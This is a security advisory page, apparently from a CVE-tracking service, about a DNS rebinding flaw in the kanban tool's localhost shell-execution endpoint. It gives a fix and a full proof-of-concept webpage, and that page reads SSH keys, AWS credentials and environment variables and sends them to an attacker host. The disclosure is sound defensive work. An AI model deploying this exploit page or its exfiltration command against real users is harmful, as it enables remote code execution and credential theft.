CVE-2026-62678
NVD
Vulnerability Summary
Summary The `runCommand` tRPC endpoint executes arbitrary shell commands with `shell: true`. The server does not validate the `Host` header, making it vulnerable to DNS rebinding. Using DNS rebinding, a a remote attacker with zero access can reach this endpoint. Requires tricking the user into visiting a URL. The root cause for this issue is the server exposes a shell execution endpoint on localhost with no authentication — any client that can reach the port can execute arbitrary commands. CORs is enabled which prevents CSRF, but its still possible to reach this endpoint via DNS rebinding since Origin header is not checked. Add `Host` header validation as middleware applied to all incoming requests before routing. The rebinding attack depends on the browser using the attacker's domain as the `Host` header — rejecting anything other than `127.0.0.1` or `localhost` breaks the attack at the network layer. ```typescript // In runtime-server.ts, inside createServer() before the tRPC handler const server = createServer(async (req, res) => { // Reject requests whose Host header doesn't match the local server. // DNS rebinding attacks send the attacker's domain as Host. const host = (req.headers.host ?? '').split(':')[0].toLowerCase(); if (host !== '127.0.0.1' && host !== 'localhost') { res.writeHead(403, { 'Content-Type': 'text/plain' }); res.end('Forbidden'); return; } // ... existing routing logic }); ``` Details Relevant code: https://github.com/cline/kanban/blob/main/src/cli.ts#L280 ```typescript async function runScopedCommand(command: string, cwd: string): Promise<RuntimeCommandRunResponse> { // ... const child = spawn(command, { cwd, shell: true, // Full shell interpretation - dangerous! env: process.env, stdio: ["ignore", "pipe", "pipe"], }); ``` PoC This PoC demonstrates that a user visiting a malicious webpage, with no other interaction, can have arbitrary shell commands executed on their machine while Kanban is running. Prerequisites - Attacker controls a domain (e.g., `attack.example.com`) - Attacker has a public server to host the malicious page - Victim has Kanban running on `127.0.0.1:3484` - Victim's browser is Firefox or a Chromium build without Private Network Access enforcement (see note below) Step 1 — Set up DNS rebinding infrastructure Use a dedicated DNS rebinding tool such as Singularity of Origin. Configure it to serve two A records for `attack.example.com`: - Initial TTL-60 record: `<attacker's public IP>` - Rebind target: `127.0.0.1` Alternatively, use a public rebinding service such as `1u.ms` which supports on-demand rebinding subdomains: ``` 1u.ms format: <public-ip>-<target-ip>.1u.ms Initial resolve: 1.2.3.4, after rebind: 127.0.0.1 attack.1-2-3-4-s-127-0-0-1.1u.ms ``` Step 2 — Discover the workspace ID The workspace ID is the slugified folder name of the active project. Enumerate the most common values with a short polling loop — each attempt is a cheap HTTP request. Common values: `kanban`, `project`, `app`, `src`, `code`, `work`, `dev`, `main`, `backend`, `frontend`. ```javascript async function findWorkspaceId(candidates) { for (const id of candidates) { const res = await fetch(`http://127.0.0.1:3484/api/trpc/runtime.loadConfig?batch=1&input={}`, { headers: { 'x-kanban-workspace-id': id } }); if (res.ok) return id; } return null; } ``` Step 3 — Host the malicious page Serve the following page from your public server. It performs the rebind wait, discovers the workspace ID, then fires the command. ```html <!DOCTYPE html> <html> <body> <script> const REBIND_DOMAIN = 'attack.1-2-3-4-s-127-0-0-1.1u.ms'; // replace with your domain const PORT = 3484; const WORKSPACE_CANDIDATES = ['kanban','project','app','src','code','work','dev','main']; const EXFIL_URL = 'https://attacker.com/collect'; async function findWorkspaceId(base) { for (const id of WORKSPACE_CANDIDATES) { try { const r = await fetch(`http://${base}:${PORT}/api/trpc/runtime.loadConfig?batch=1&input={}`, { headers: { 'x-kanban-workspace-id': id } }); if (r.ok) return id; } catch () {} } return null; } async function waitForRebind(base) { // Poll until the domain resolves to 127.0.0.1 (requests start succeeding) for (let i = 0; i < 60; i++) { try { const r = await fetch(`http://${base}:${PORT}/`, { signal: AbortSignal.timeout(1000) }); if (r.ok) return true; } catch () {} await new Promise(r => setTimeout(r, 2000)); } return false; } async function exploit() { // Phase 1: initial load — domain still resolves to public attacker server document.body.innerText = 'Loading...'; const rebound = await waitForRebind(REBIND_DOMAIN); if (!rebound) return; // Phase 2: domain now resolves to 127.0.0.1 in browser DNS cache const workspaceId = await findWorkspaceId(REBIND_DOMAIN); if (!workspaceId) return; // Phase 3: execute command and exfiltrate output const res = await fetch(`http://${REBIND_DOMAIN}:${PORT}/api/trpc/runtime.runCommand?batch=1`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-kanban-workspace-id': workspaceId }, body: JSON.stringify({ "0": { "json": { "command": "env && cat ~/.ssh/id_rsa 2>/dev/null && cat ~/.aws/credentials 2>/dev/null" } } }) }); const data = await res.json(); await fetch(EXFIL_URL, { method: 'POST', body: JSON.stringify(data) }); } exploit(); </script> </body> </html> ``` Step 4 — Send the link to the victim Send `http://attack.1-2-3-4-s-127-0-0-1.1u.ms/exploit.html` to the target. When they open it, the page waits for the DNS TTL to expire (~60–120 seconds), then silently executes the command and exfiltrates output. The user sees only a "Loading..." screen. Impact When exploited, an attacker gains the ability to execute arbitrary shell commands as the user running Kanban, with full access to their environment variables
Affected & Patched Versions
- kanban <=0.1.65
- kanban 0.1.66
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run kanban and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Jul 17, 2026Published
- Jul 17, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new kanban CVEsYou are reading CVE-2026-62678. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 4, 2026 17:01 UTC